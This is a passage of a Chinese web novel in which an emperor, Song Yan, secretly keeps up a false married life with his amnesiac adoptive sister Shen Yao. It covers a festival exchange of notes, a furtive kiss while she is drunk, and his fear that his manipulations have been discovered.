宋衍被吓坏了,立刻舔着脸去找了韩秀华。他们不敢叫外面的郎中,生怕暴露了身份,最后只猜测是淋雨染了风寒,去抓了几副药回来。 宋衍拿到药后便没找他们要更多的,自己亲力亲为,煎好药,又到床边一勺一勺喂她服下,用冷水弄了帕子盖在她额头,帕子热了后又换。 他看了她一整夜,听着她不断喃喃低语:“爹……娘……” 待她醒来时,已经是第二日下午。 睁开眼睛,就对上了宋衍那双带着担忧和恐惧的眼睛。 “别担心,我感觉……好多了。”她撑着身子坐起,“就是有点渴,嘴巴好苦。” 她睡着时可被喂了不少药,怎么可能不苦呢。 宋衍见她这样说,立刻转身倒了一杯白水,重新送到她嘴边,看着她缓缓将其饮下,苍白的唇总算有了一丝血色。 她声音有气无力,“小衍,你说,我是不是好没用。” 宋衍蹙眉摇头,对她所言感到不满。 沈遥视线放空,继续说着,“我很怕,姨母家如沈家那般,因我们被株连。” 她长叹一声,“也不知小妹如今身在何处,可还活着。明明在离开沈家前,我亲自应下的母亲,会照顾好小妹,然而我没能做到。” “她还活着。”宋衍试图用坚定的语气安慰她,虽然知道或许没什么用。 沈遥还是“噗嗤”一声笑了出来,“听你这么说,我心里舒服多了。” 宋衍松了口气。 沈遥继续说着,“只是,小衍,我好累啊,你累吗?” 宋衍摇摇头,“剩下的让我去做。” 沈遥并不将他这话放在心上,弟弟还这么年幼,如今求存乱世中,谈何容易。 她眉头蹙起,难受得想哭,但还是憋着眼泪。 宋衍倾身问她:“阿姐怎么了?” 沈遥哽咽了一下,摇摇头,“没什么,就是嘴巴好苦啊,太苦了,苦的我好难受。” 后来沈遥昏昏沉沉又睡了过去,裹着被子捂出一身汗,再次醒来时,又过了一夜。 今日外面雨下得特别大,电闪雷鸣,没见着臭弟弟,她猜测他或许是回了自己房间。 沈遥低着头凝思许久,慢慢整理着思绪,最后深呼一口气,起身换上干净又素白的衣裳,往书房而去。 听说姨丈这次回来后会多休整些时日,此刻人还在书房之中处理公务。 她敲响了书房门,在姨丈准许后进入,终于第一次见到了人。 身为武将,姨丈人高马大,身上的肌肉极为粗壮,皮肤黝黑,是常年经过风吹日晒才有的皮肤。 他看到沈遥时一怔,不解道:“诺诺?你来找我是有事?” “嗯。”沈遥上前先与他一番寒暄,又表达了对收养他们姐弟的感谢之意。 可这些都不是她的重点。 “姨丈可想过,如今乱世之中,要如何求取生机?” 姨丈两眼微眯,示意沈遥继续。 “如今天子失德,大周各地群雄逐鹿,幽州节度使,北庭节度使,皆已举兵,势必推翻如今的天子暴政。姨丈,难道觉得自己身为河西节度使,还能安稳于现状吗?” 姨丈声音很沉,“可我是天子近臣,怎能如他人那般,试图推翻宋氏王朝?” 沈遥抿唇,心跳在某一瞬间忽然平静下来,外面从屋檐垂落的雨滴,也慢了下来。 她仔细思索过,若要能安心留在此地,寻求庇佑,必须要给姨丈带来足够的利益交换,否则他们姐弟总有一日会被赶出家门。 毕竟这个家中,真正的掌权者不是姨母韩秀华,而是面前的男人,手握重兵的河西节度使。 “各地都在造反,就算姨丈没有反心,敢问天子就不会疑心姨丈吗?宁可错杀三千,也不放走一人,不就是当今这位陛下的行为方式吗?” “可是举兵需要有理由,幽州节度使前些时日战败,就是因为师出无名。” “有。”沈遥郑重地点了下头,“姨丈,杀手锏在我们手中。” “哦,是何?” “宋衍,皇室血脉,我的弟弟。” 当沈遥从书房走出后,心底总算不如最初那般忐忑,回到寝室后,还是没什么力气,只能虚弱地躺着。 姨丈没有立刻应下,只说会深思过后再给他们答复。 这一天都没见着臭弟弟,也不知去了何处。 正当她想着时,臭弟弟忽然来到了她房中,只是她不知,他去做了什么,淋了一身的雨,像一只落水狗,眼睛瞪得大大的,冷得瑟瑟发抖,可怜得不成样子。 “你去哪儿了啊?怎弄成这副模样?” 宋衍走上前,将藏在袖子里护好的一根胖女娃娃糖人拿出,递给沈遥。 “吃这个,嘴巴里就不苦了。” 沈遥怔了好一会儿,如今四处很乱,米比黄金贵,更别说糖,更是贵出天价,她不知臭弟弟是哪儿弄到的。 他捏着糖人的手指粗糙,沾满了雨水,却将糖人保存得完好。 她慢慢接过那根没被淋湿的糖人。 她其实没那么喜欢甜食。 可那日后。 糖人成了她最喜欢的吃食。 第23章 第23章吻了上去 宋衍从老头手中接过新做好的糖人,含到口中,虽然味道和以前一样,可既然阿姐嫌太甜,那就是太甜了。 “下次可否做得没这么甜。” 老头笑笑,“小事儿。” 毕竟他拿着人家的例银,既有要求,那肯定得应。 想到当初面前男子亲自到甘州请他数次,他后来也想起了当年。 那时暴雨很大,根本没什么客人,他正收摊时,才忽然发现面前出现了一小男孩儿,没有打伞,就这样淋雨看着他的摊铺。 他将小孩轰走,自己推着小车回了家,也是那间茅草屋,却没想到,那小男孩竟跟了他一路。 “你这孩子,哪家的?究竟想要什么?” 小男孩沉默地指了下糖人。 老头摆摆手,不乐意给他,因着这孩子一看就没钱,而如今饥荒,糖可是天价物。 只是那日雨太大了,他往窗外看了好几次,那孩子竟一直没走,固执地站在雨中。 从没见过如此固执的小孩,他还是心软了。随便拿了一根没卖出去的糖人递给他。 这个不苟言笑的怪小孩,在接到糖人后眼睛忽然亮了下,唇角微微扬起。 …… 葫芦镇家家户户忙碌起来,准备着角黍与艾草,锦书解释后,沈遥才意识到,这是端午将至。 厨艺方面,她似乎除了炊饼,便是一无是处。 待在厨房两个时辰,裹出来的角黍竟没一个能看。要么大得米粒胀出,全漏了,要么小得裹不起来。 最后她盯着手上不成样子角黍一刻钟,还是选择放弃,将手中半成品随意一扔。 原本烦闷的心绪,此刻烦上加烦。 宋衍从宫中回来后便去寻沈遥,却被挡在屋外。 锦书有下没下地往屋内瞥,最后硬着头皮说:“夫人今日裹了许久角黍,想来是极累了,让奴婢守在门口,说是不让任何人打扰,包括……包括姑爷。” 宋衍没有怪罪锦书,只是看着紧闭的房门,低低“嗯”了一声。 沈遥自然没有真睡,这只是不想见他的托词罢了。 她听着外面离去的动静,撇撇嘴,又继续看着手中话本。 宋衍一直待在书房中批阅奏章,等腹中饥饿时,才注意到天色已晚,便又往内院去。 她这睡了一下午,应是醒了吧。 “还在睡?”宋衍蹙眉,摁着指骨揉搓,苍白的手开始泛红。他看着紧闭的房门内只点了一盏微弱小灯。 锦书低着头,哆哆嗦嗦半天不敢看他一眼,“夫人下午醒了,用了晚膳后便又睡了,连奴婢都不被允许入内打扰。” 宋衍舌头抵着腮帮子,“已经用过晚膳?” 他竟不知。 锦书叹口气:“回禀姑爷,是夫人不让说,说是姑爷学业忙碌,叫奴婢莫要打扰。” “夫人许是疲累,奴婢见她昨夜都没睡好。”她又补了一句,试图为沈遥解释。 宋衍站在原地沉默良久,才道一声知道了,便又离开内院,回到书房忙碌。 沈遥每次生气,他大致都能寻到源头与理由。 可这一次,他实在懵了。 难不成真是因着上次的《抱朴子》? 不至于。 可就算如此,也没必要如此气,都气成包子了。 看来如今想见她,也只能等她真正睡去。 …… 端午当天,宋衍不好留在葫芦镇,又无法带着沈遥出去,想与她亲口说一声告罪,却又是没能见着人,最后只能让南风帮着带话。 待回到太极宫后,南风才姗姗来迟,带来一封小信,“陛下,属下见着夫人了,夫人没说什么,只差属下带来一信件。” 琢磨着宋衍的神情,南风又道:“夫人还是很在意陛下的,连话语都亲自写信让属下带来,可见诚心。” 听闻,宋衍心情好了一些,立即将那小信拿过展开,纸上是简单又龙飞凤舞的大字: 【哦】 他差点儿一口气上不来。 他实在厌恶这样无所适从的感觉,摸不清她想法,叫他浮在水中,踩不到实处。 早晨祭祀祈福,众人在宫内受天子赏赐的角黍作午膳后,便是这日高/潮时刻,观龙舟竞渡。 宋衍皇辇到达太液池,落座楼船御座。 各朝臣侯爵贵族早已在此地恭候多时。 正值夏日最炎热之时,贵女们躲在楼船之内,用着冰饮,手持团扇笑语嫣然。 见到皇帝来后,纷纷跪地叩首,起身后又红着脸往那俊俏而轮廓分明的侧脸窥视,直到见他远离众人,高高在上道了一句平身。 宋衍在这些节日庆典向来懒得约束众人,便允他们在船上随意走动,都自在些。 大周这位年轻的天子在贵女眼中,虽言语不多,神情淡漠,却是个温和之人。 如今好不容易得面见天子机会,于是胆子大的人也随之多了起来。 大太监胡生数不清这是第十八个,还是第十九个,往宋衍这儿送香囊的女子。 端午的香囊中通常装有艾草或是菖蒲等物,以用于驱邪。 他没当着众人面拒绝,皆收下,却不多说一句话。 胡生弓腰将香囊递上,见他没接,便放至一旁案上,“陛下,这位是刑部尚书家女儿姚氏。” “小女恭祝陛下端阳永泰,圣寿无疆!” 皇帝轻轻“嗯”了一声,没有任何表示,也未将视线落于姚氏身上,只是看着窗外的龙舟泛于湖面,不知在想着什么。 对方等了许久不见回应,抬头后见胡生扫过去的视线,姚氏最后只能低着头悻悻退开。 见又失败了一家女儿,众贵女纷纷窃窃私语起来。 “你们说这陛下究竟喜欢什么样的女人,后宫别说皇后,连嫔妃都没有,莫不是真有断袖之癖?” 姚氏摇头,“怕不是,许多人这般猜测,可刚才林家二公子都去试了,也没得甚反应。那二公子可是风华正茂,有这癖好的男子都对他垂涎三尺,可咱们陛下仍是无动于衷。” 另一刚及笄的小女犹豫,“我也想去试试,可我不敢。” 这位皇帝陛下看着温和又沉默寡言,可却也散发着无形的阴郁与威压,叫人 不敢直视。 那小女的母亲不满地推搡她一下,“怕甚?没看到这么多人都去了,送香囊给天子是为其祈福,又不是甚丢脸的事儿。况且就算没表示,以陛下的性子,还会罚你不成。如今后宫空虚,此时正是良机。” “诶,你看,又有人去了!” 众人站在远处转头一观,见是一穿着藕粉襦裙,披月白披帛的窈窕身影,极为纤瘦。 “这不是沈芯么?” 众人纷纷露出不屑神情,没人不知沈芯,毕竟是永乐长公主的亲妹妹。 而永乐又是陛下亲封的唯一异姓长公主,身份尊贵。 “被敕封长公主的是她姐姐,又不是她。上次我在宫中见着沈芯,私下里她可是鼻孔翻上天去,一在男人面前就装柔弱,博怜爱。” 御座与众人相距甚远,被一大批金牛卫所隔绝,并听不到那边声音。 沈芯手持香囊上前,将其递给胡生,“参见陛下,绵绵知今儿驱邪避害的日子,特制了两个香囊,一个给陛下,一个给阿姐。可惜阿姐……” 她面带苦色摇头长叹,眸光潋滟。 当初沈家出事,沈遥带着宋衍和沈芯一路逃亡,却没想到沈芯途中走丢。后来宋衍登基,才终将人寻回,本就体弱多病的小妹身子更是不好,如今住在宫中,每日由太医为其问诊治病。 宋衍冷漠,却因沈遥的关系待她不同于其他人,听她提起沈遥,便将那两只香囊收下。 “那绵绵……”沈芯本想退步离去,可又犹疑地停在原地,看着宋衍手中香囊,瞪着大眼睛眨巴。 宋衍没说话。 沈芯咬唇,手指纠缠在一起,“陛下,绵绵想亲自为陛下戴上,以为陛下祈福。” 宋衍想了想,摆手拒绝。 但他将其中一个暗色香囊系到腰间,另一个收到怀中。 站在远处的贵女们余光见此场景,皆是咂舌惊叹。 “陛下竟然收下了,还戴在身上。” “陛下莫不是对沈芯有别的意思?” 另有知情者道:“这还用说,沈芯与长公主失联多年,陛下登基后才找到人,这又常年住在宫中,听宫人说,极有可能是碍于不清晰的身份才没正式纳入后宫。” 沈芯行礼告退后走远,身旁跟着扶她的丫鬟银铃,直接走入人群之中。所有人目光皆停留在她身上,带着好奇,惊叹,与嫉妒。 银铃作无意状笑道:“我家姑娘可是永乐长公主亲妹,又是梁国夫人侄女,与陛下自然亲厚。” 沈芯害羞地拍了她一下,“行了,这些话私下说就好,这么多人,还要不要脸了。” “姑娘教训的是。”银铃笑着回,语气却仍是傲慢。 …… 晚间端午宫宴才到一半,宋衍便待不住,直接寻借口离开,又悄声带着南风回葫芦镇。 葫芦镇虽小,节日氛围比之长安城却不差。 他回家后,想到这些时日沈遥对自己淡漠的态度,徘徊一阵,最后还是没直接入内。 寝室内,沈遥这节日过得没一点儿感觉。 手中的书也不太看得进去,就在此时,锦书敲门入内,将一纸信递给沈遥,道:“夫人,姑爷回来了,送了这封信给夫人。” 沈遥一怔,瞥她一眼,懒散地接过后将其展开,信中话语简短,字体干净利落。 却一点儿都不像夫君平时会说的话。 【我住长江头,君住长江尾。日日思君不见君,共饮长江水。】 她抿唇,手指挠了挠头,又隔着白纸窗往外一看。 沈遥撑着脑袋想了想,最后亲手磨墨,在同一张纸上留下: 【长江在南。】 她将纸原封不动折好,交给锦书,却没说一句话。 锦书收到后,忙不迭从内院跑到外院,又交到南风手上。 当她回到内院没多久,南风又拿着回信跑来,一头汗水,手中的信纸,还是那张信纸。 “夫人,这应是回信。”锦书将其递给沈遥,低着头满眼无奈。 沈遥又是句话不说,接过后将其展开: 【莫道不消魂,席卷西风,人比黄花瘦。】 她无奈了,这是什么幼稚鬼? 沈遥回:【那多吃点儿,难不成赖我?】 于是,锦书和南风在这两人之间,在内院与外院之间,不断来回跑动,成了传信筒。 宋衍:【不赖。今花好月圆,正是端午好日子,为夫知一家酒铺新酿酒水正香。】 沈遥:【你想喝酒?去喝呗,与我说作甚?】 宋衍:【独自小酌的,都是没媳妇儿的鳏夫。】 …… …… …… 沈遥:【我睡了。】 宋衍:【夫人真忍心?】 沈遥:【我说了,我已经睡了,你好烦。】 宋衍:【夫人这些天算下来,每日睡上十个时辰应是有了,此非虚度光阴?不如与为夫小酌一杯。】 沈遥良久无语,没想到他在信里的话能如此之多。 【毛病,我说我睡了,就是睡了。】 宋衍:【真睡了?】 沈遥:【睡了。】 宋衍:【吃糖人吗?】 沈遥:【我说我睡了,你烦不烦!你都比黄花瘦了,自己吃,自己去睡觉。】 宋衍:【乖诺诺,快看外面。】 沈遥捏着写满了字的信纸一怔,看向一旁汗淋淋,喘着粗气,眼中已经失去光泽的锦书。 “夫、夫人……还有啊?” 锦书是真搞不懂,这两个人明明住在一个宅子里,明明可以当面说话,偏偏不。 就是要蹉跎他们这做下人的…… “那……我应是有?还是没有?”沈遥看着疲累的锦书,一时间也生了些内疚与犹疑。 她长叹一声,放弃抵抗,最后还是打开一旁的支摘窗,往院中看去。 月影之下,青石板地面似乎闪烁着斑驳的星星点点,迎着蝉鸣,倏然“砰”一声,镇子上放起了烟花,五光十色落在院中穿着暗红锦袍的男子身上。 见过穿红色最好看的男子吗? 艳而不妖,卓尔不群。 夫君就是这样。 他身上那件锦袍正是前几日沈遥亲手所制。她还没送出去,没想到这人已不知怎的,暗戳戳拿到了。 她愣怔了好一会儿,才注意到他手中还拿着一只糖人,手掌裹着绷带。 故意的?如此美**人,这还叫人怎么好好思考…… 她并非单纯因生气而不想见夫君,而是为了思考这装着梨花的荷包。只要这个男人出现,便总是会影响情绪与判断,脑子变得一团浆糊。 沈遥无奈,只得起身往外走去。 小步挪到宋衍身前,抬头望向他,却笑不出来。 烟花下,他原本漆黑的眸子被染上了一层红,忽然一闪,映照出她的模样。 宋衍一笑,将手中糖人递来,见她不接,又将其放到她手中,“这次没那么甜了。” 沈遥低头看着手中奇丑无比的四不像糖人,又看看他裹着绷带的双手,“你亲手做的?” 宋衍沉默。 “哦。”沈遥知道他是默认的意思。 “喝一杯?”宋衍伸手牵住她一只手,见她没动弹,又道:“今日过节,要让为夫孤家寡人一个?” 沈遥没回答,却也没再犹豫,被他牵着往外走。 宋衍边走边说:“是我错了,别气。” 沈遥没忍住冷笑一声,重重地捏了一下他的手,他忽然“嘶”了一声,转头一脸无辜地看着她。 “你哪儿来的错?” 她冷然道:“你看起来挺壮的啊,哪儿瘦了?” 宋衍面不改色扯了扯嘴角,他自是不知他哪儿错了。但面对态度冰冷的她,他难受到快控制不住他的破坏欲。 他呼吸粗重,压回所有不堪,低头到她耳边,“穿着衣裳,看不出。” 沈遥咬牙一巴掌轻轻拍了一下他的侧脸。 不要脸,意思是下次脱了看,看哪儿瘦了么。 “我发现,你脸皮愈发厚实了,现在夏天,你不热的么?” 宋衍沉默下来。 沈遥细若蚊音地吐出一句,又再度看向他侧脸,“我今日是看在过节的份上,才跟你出来的。平日很忙。” 宋衍实在无奈,感觉旁边的女人真是哄 不好了。 忙什么? 忙着睡觉?忙着每天假睡十个时辰? 他没说话回她,她也不再说话。 沈遥走出时府后,扭头看着正在过节的镇民,有射粉团的,挂艾草的,系彩绳的,格外热闹。 她看了看自己手中的丑糖人,最后含到口中,在舌尖化开,甜丝丝,又不太腻,确实蛮好吃。 “手艺不错啊,弟弟。” 宋衍与她十指相扣的手紧了紧,忘了呼吸。 许久后他才意识到,转头一瞥她笑笑,正好两人也走到了这处酒馆。 酒馆老板看到宋衍便迎了上来,似乎对他很熟悉,“客官今儿带着夫人来了啊!小店里新酿了烧酒,可要给二位来点儿?” 宋衍拉着沈遥找到一张远离人群的小几坐下来后,才回:“两壶清酒。” 沈遥:“清酒多没意思,要来就来最烈的,老板,拿烧酒来。” 宋衍看着沈遥片刻,“烧酒?你确定?” 沈遥其实并不记得自己酒量如何,在醒来后,也没喝过酒,可她忽然就是想尝试醉一场。 他说的对,今日过节,那些乱麻一团的梨花或者广玉兰,便先抛之脑后,享受当下再说别的。 见她执着,宋衍也不再阻止,“上烧酒。” “诶,好咧!客官稍等!” 两人又叫了两碟下酒小菜,沈遥很快发现,她确实高估了自己的酒量,一杯烧酒下肚,她已经微醺。 她又一口干了一杯,一手撑着脸,一边侧看过去。 红衣的夫君在夜色中似乎显得格外妖媚,却又带着冷清又柔和的禁欲感。 好似话本中走出来的男子。 “时衍。” 宋衍喝酒极为儒雅,小酌后将酒杯放下,转头看回沈遥。 沈遥没有说话,只是定定看了他许久,而后起身趴到他耳边,“你是不是有事儿瞒着我?” 宋衍头皮发麻,指节泛白,心跳猛地乱了,似乎上下左右在疯狂颤抖挣扎。 可他耳边痒痒的,轻轻侧过脸,擦过她的鬓发,离她很近,她的呼吸又渐渐将他这种反应所压制。 她的小脸红扑扑,酒量果真还和从前一样,差的要死,又差又爱喝。 “没。” 他回答地很坦然,任何人听后,都不会对他抱有任何怀疑。 沈遥蹙眉不解,沉吟不语,只是一直呼出热气在他耳畔,许久后,她才又低声道:“时衍,我看透你了。” 宋衍手指一滞,视线自上而下落在她睫毛根上。 看透什么?难不成这些天她生气不理自己,是识破了他谎言?可也不像。 沈遥轻轻一笑,维持这个姿势似乎有些累,于是将下巴放到他的肩膀上,“你是不是故意的?” “故意什么?”他的声音很低,双手颤抖得更厉害了。 “故意带我来喝酒,想要灌醉我。” 宋衍垂眸,“你已经醉了。” “怎么可能?我才喝了三杯。”沈遥摇摇头,“我看透了,时衍,你是想亲我,你还想……” “想什么?”他死死盯着她。 “想交欢。” “……” 宋衍僵了,一手捂住自己的眼,一手无语地将她推开。 “你干嘛!”沈遥有些不满,没了支撑,只能趴到小几上,看着面前的酒,又倒了两杯一饮而尽。 在她倒第三杯时,他伸手阻止。 忽然,沈遥双眼一眯,再次倾身,手却是抓住他腰间一枚香囊。 细细一观,这香囊做工精细,下方还绣着一朵兰花。 “哪儿来的?” 宋衍垂眸一哽,此时才意识到,回葫芦镇前竟忘了将沈芯送的香囊取下。 可是又不好直接解释说是她妹妹所赠。 他叹息着将那枚香囊拿下,放至一角,在沈遥想要够头去看时,又被他拉回来。 “买的,你也有。” 说着,他将怀中另一枚月白香囊拿出,将其系到沈遥腰间。 他手指很长,就连打出来的结都精致完美,整幅画面格外赏心悦目。 她低头抓起香囊放在手中把玩,细细观摩,上面也有一朵兰花,针线细腻,针脚收得很好。 听锦书说,端午时节,许多人都会佩戴带有艾草的香囊以驱邪灵。 沈遥轻哼一声,算是相信,放过他。 而后,她恶狠狠地教训一声:“时衍,你可不许骗我啊,要是外面有人,我宁愿你与我说。” 宋衍视线陡然有些冰冷,“这么大度?” “不大度。”沈遥低喃一声,又点点头,“嗯,大度。” 宋衍别开头。 沈遥看着他躲避的模样,愣了好一会儿。 “时衍,我觉得,我好像……被你骗了。” “……为何?”宋衍袖下双拳攥紧,重新看回她的脸。 可她又不说话了,只是摇摇头,又“哎——”地长叹一声。 “时衍。” “怎么?” “你累吗?” 宋衍凝视着她一时说不出话,眼神闪烁。 “……怎这样说?” “你看起来很累,每天都很累。”沈遥闭上眼睛,脸贴着小几,嘴唇嘟起。 她真是醉了,她自己能感觉到。 “你好像总是睡不够,眼窝都有些青了,我半夜起来,时常发现你还看书,或者写什么东西,每天睡得很少。听锦书说,你天不亮就得起床。” “傻。”宋衍唇角微微弯曲,又饮下一杯酒,似乎也开始渐渐混沌起来。 她半夜起来时,他根本不在书房,也没在读书。 他在她床底。 沈遥嘟囔着:“时衍,其实你可以不用那么累的。” “其实,我并不在乎什么诰命夫人,什么高官厚禄,现在的生活,是我喜欢的。朴实又平凡,所以我才希望,你不是在骗我。” 宋衍低着头不再说话,也没有表情。 她继续喋喋不休:“锦书说了,你很有钱,我看了账本,到现在也没算清,你究竟有多少钱。所以你就算不走仕途,咱们去捐个官身,这样懒懒散散过一辈子,坐吃山空,其实也挺好。” 宋衍握拳,放在嘴边,笑了一下。 从来没想到,诺诺原来是这般懒散性子,也难怪,这整日整日的睡觉。 他声音很轻,“想要维持现在的日子,我就必须去做应该做的事儿。” 他十几年爬到这个位置,是很累,很辛苦。 一切都是为了诺诺。 不过这些只要他去做就好了,他的诺诺就待在桃源中享清福,这是他存在的唯一目的啊。 虽然如今靠着卑鄙的手段,将她带来此处。可他从很早前,就想送她一个世外桃源。 可维持这样一个世外桃源,所需要的是至高的权利与力量。 这些,她都无需知晓。 他说的话不知沈遥听到否,她似乎已经醉得睡着了。 宋衍伸手抚摸着她的发丝,又轻轻碰了碰她柔软的脸蛋,着了魔一般往她慢慢倾身而下。 可在离她很近的地方,他还是停住自己动作,呼吸紧促。 这不仅是他的诺诺,也是将他养大的阿姐。 还是在他只有黑白的水墨画卷里,突然出现的那一点红。 而他呢? 虚伪,卑劣,肮脏,阴暗,她不可能爱上这样的他。 可没关系,他想要的,是在她身侧,并被她永远记住。 他细细看着她鸦羽般的睫毛,月光投下一小排影子,她单纯的眼眸紧闭,淡淡的呼吸从嘟起的红唇中流出,露出洁白皓齿。 沉睡的诺诺,阿姐,好美好乖啊。 宋衍眼中涌动着病态的狂热,却又笑得温柔。 他从怀中抽出一条白色半透明的绢纱巾帕,盖在她的下半张脸上。 隔着那张巾帕,吻了上去。 第24章 第24章戳破他 几个稚子从小酒馆旁路过,嬉笑着,追逐着,口中念着先生今日所教《桃花源记》,孩童的声音跃入耳中。 “晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。” 而夜幕上挂着一抹弦月,柔光洒满了四处带着烟火的小镇。小桥旁杨柳低垂,刚好遮住了他们两人的身影。盛夏的夜风暖意潺潺,调皮地拂过绢纱巾帕。 即使 有帕子相隔,宋衍也能感受到那下面的柔软。 带着酒味的呼吸错乱交缠,他闭起眼,轻轻碾磨着,这料子本就冬暖夏凉,唇间的热量被淡化后传递到他敏感的唇上,即便如此简单,小心翼翼的吻,也仍是染上情与欲。 “忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷……” 他知晓自己所为有违天道纲常。 他知晓自己卑鄙无耻,硬生生扯断阿姐与那厮的幸福。 他曾迷茫过,他被她养大,护大,也曾真正将她当作他的阿姐。 也许看着阿姐嫁给喜欢的男子,为她送上十里红妆,用自己手中权势保护她不受夫家所欺,才是最好的选择。 “……林尽水源,便得一山,山有小口,仿佛若有光。” 可是他控制不了,阿姐是他的光。看着阿姐牵起他人的手,他心在滴血,骨头在融化,五脏六腑被腐蚀,浑身疼痛到连头发丝都在颤抖卷曲。 他似乎是溺入海水的人,他想杀了所有觊觎她的人,让她的世界只剩下他。万幸上天垂怜,她失去了记忆,住进了他为她建造的城。 她的身边,如今只有他。 就这样吧,就这样一直下去。 曾经他走过那么多苦难,躲在黑暗之中。求上天,继续垂怜他吧。 他太清楚,他想要的不是皇位,不是江山或是复仇,他只想要阿姐。 “太守即遣人随其往,寻向所志,遂迷,不复得路……” 只要阿姐,只此而已,不贪心吧。 随着孩童们声音渐渐远去,宋衍缓缓睁开自己的双眼,却见沈遥睁着圆溜溜的眼睛,定定看着他。 他心底一颤,呼吸骤停,立刻起身远离,白帕子随之沉到地上。 宋衍细细观察,见她眼睛里带着醉意,迷茫,看着他眨了眨眼,很快又再次闭上。 他终于呼出一口气,血液也重新流淌起来,心却久久无法平静。 还好,她醉了,没意识到发生了何事。 …… 院中广玉兰开得正盛,阳光明媚,几个洒扫的仆妇纷纷聚集在一起。 “你们发现了吗?今日时爷心情可好了。” “诶哟!可不是,我今儿端早膳入书房时,不小心脚底一滑,碗碎了不说,还将粥弄到爷身上。我那时以为自己完了,结果爷只是擦了擦,就笑着叫我退下了。” “真假的?爷平日洁癖可严重了。” “自然是真,关键是,爷往日的笑虽然温柔吧,却淡漠得很,可今日竟然露了牙齿,我一数,整整露了八颗牙。” 众人皆惊,满脸怪异地往房门紧闭的书房一瞥,又忽而见到不远处南风走来。 “走了走了,夫人那边的早膳还未准备呢。” “诶,不着急,夫人昨夜喝醉了,平日便起得晚,今儿怕是会更晚。” 南风敲开书房门,入内后将手中奏章给坐在书案前的宋衍递过去。 宋衍打开后,又将其递回给南风,“不是让你将前些时日,江南水患的奏章拿来么?” “啊?”南风接过后,在宋衍准许下翻开,没想到是上奏皇帝选秀的奏章。 他惊得猛然跪下,低着头止不住微抖,“陛下恕罪,是属下疏忽,拿错了奏章!请陛下赐罪!” 宋衍拍了拍他的肩,却见南风抖得更加厉害,似乎那掌风犹如泰山压顶。 他无奈,低头一笑,“行了,怕什么?重新去宫里拿便是。” 南风眼珠子都要瞪出来了,心底更是害怕恐慌,凉意擞住全身,满是震惊,“……是。” 他又看了看手中这份奏章,未曾被批阅过,“那陛下,这份?” 宋衍蹙眉,手指捏着下巴稍一思索,“宫里不是养了些狗,把这奏章丢去狗窝。” “是。”南风虽然惊异,却也发现皇帝陛下是心情格外舒畅,便也跟着放松下来,领命后往外而去。 待门关上,宋衍垂眸又摸了摸自己的唇。 虽然昨夜隔着巾帕,可那股火一般的燥意还在心底燃着,迟迟不灭,竟兴奋到彻夜未眠,到了此时还精神百倍。 原本每次心跳发乱时,整个人会极其难受,可那吻像一湾泉水,慢慢舒缓浮躁。 他又笑了一下,也不知何时能在沈遥清醒时,光明正大地吻她。 想到此处,他摸了摸胸口,取出昨夜又从地上捡回来的帕子。 这是他们的初吻帕,他得好好珍藏才是。 宋衍将其放到鼻尖轻嗅一番,准备将其藏到锦盒中,低头去寻暗格,看到暗格卡扣时却一怔。 被人打开过…… 他双眼微眯,将那暗格拉开,却见其中多了一个绣着白鹤的荷包。 白鹤。 可是此处暗格隐秘,除了沈遥,应是无人知晓才是。 宋衍心口一窒,将那荷包拿起,打开后发现,里面竟是一堆梨花。 他如遭雷劈,心头直觉的第一个想法是,完了—— 宋衍好似被毒虫蛰了一般,将荷包迅速随意扔到书案上,整个房间内陷入沉默,空气凝固。 他开始琢磨着,这是谁扔到他暗格里的。 白鹤,与那日的折纸鹤一样,极有可能是府中那细作的手笔。 他移植广玉兰时,曾在府中下过禁令,不允许任何人提起梨花。 时府曾经也有过不守规矩的人,可经过他多次严刑发卖出去后,如今留下的人都是安分守己,嘴严的。 除了那名细作,一会儿提醒沈遥“永乐”封号,一会儿又弄这梨花,目的为何? 是想要挑拨离间,利用他的软肋来对付自己? 可若如此,不应该将装着梨花的荷包丢来他书房暗格。 细思之下,一个极为可怕的念头产生,也是他看到梨花时的第一反应。 这个暗格,除了他,只有沈遥知晓。 那细作与其将这荷包丢到书房,不如给沈遥,才能真正达到目的。 再结合这几日沈遥冷漠的态度,这个恐怖的想法愈发合理起来。 宋衍跌坐在椅子上,汗毛一根根乍起,手臂上起了鸡皮疙瘩,整个人成了一滩烂泥,脑海里一片空白。 他从小到大都处变不惊,面对危险极为冷静,可此刻脑子却彻底乱麻一片,似乎脑浆如潮水般汹涌翻滚。 心脏又跳动得愈发剧烈,好似快要挤开肋骨,破胸而出。 他当初故意将梨花换成广玉兰,是因为眼见着沈遥不愿吃药,也心疼她受药毒之苦,便想着换个方式,从精神上来操控她。 正好利用她平日记忆的减退,通过这些细枝末节让她怀疑自己,以为得了疯症,彻底信任上他。 这样再遇到下一个叶灵时,至少他说出的话,她都会相信。 可如今搬起石头砸了自己脚,大费周章来这么一出,还将她越推越远。 他最怕的,就是被沈遥识破他的谎言。 他明白,一个谎言的维系,需要用另一个谎言来掩盖。 从小到大,他为了获取关注,撒过无数谎,表演成长辈最喜欢的乖小孩。而他骗的最多的人,就是他的阿姐。 可是,人在面临恐惧之时,往往总是抱有侥幸,只去相信自己愿意相信的事儿。 此刻宋衍就抱了一丝侥幸。 说不定事情的发展没有他想象这般糟糕,毕竟沈遥没有戳破他,昨夜还跟他出去喝酒了。 这么说,也有可能不是沈遥放的,而是这细作比较愚蠢,脑子有问题,不知如何发现了此处暗格,最后选择将这荷包放来此处,故意激怒他。 一定是这样的。 一定是! 南风带着另一份奏章回来时,敏锐地发觉整个书房气氛变了,变得极为阴冷,坐 在不远处的宋衍像一块冰,一动不动,浑身散发着寒气。 他不禁打了个寒颤,在行礼后,将奏章递上,不见宋衍接,最后只得放在书案一角。 “陛下,那……属下告退?” “等等。”在南风即将离开书房时,他又再次被喊住。 “是,陛下。” 宋衍低着头,看不清神情,“那份选秀奏章,谁奏的?” “回陛下,是吏部侍郎唐大人。” “嗯。”宋衍语气低沉,“查他,我记得他曾在南部私吞过学田,拿到证据后告诉他,再敢提选秀,那吏部侍郎也不用做了。” 南风一怔,只得应是。 宋衍继续道:“还有,加紧细查时府细作,要是找不到人,就将所有下人全换了。” “……可陛下,若是此刻将下人全部换了,那对方岂不是更有机会送入更多细作了?”南风提醒道。 宋衍“嗯”了一声,终于抬头看向他。 南风心突突跳,看明白他意思,是叫他好好查,快些查,再查不出来,唯他是问。 南风硬着头皮应下。 “还有。”宋衍舌尖抵着腮帮子,“拿错奏章,自去领罚。” 南风:“???” 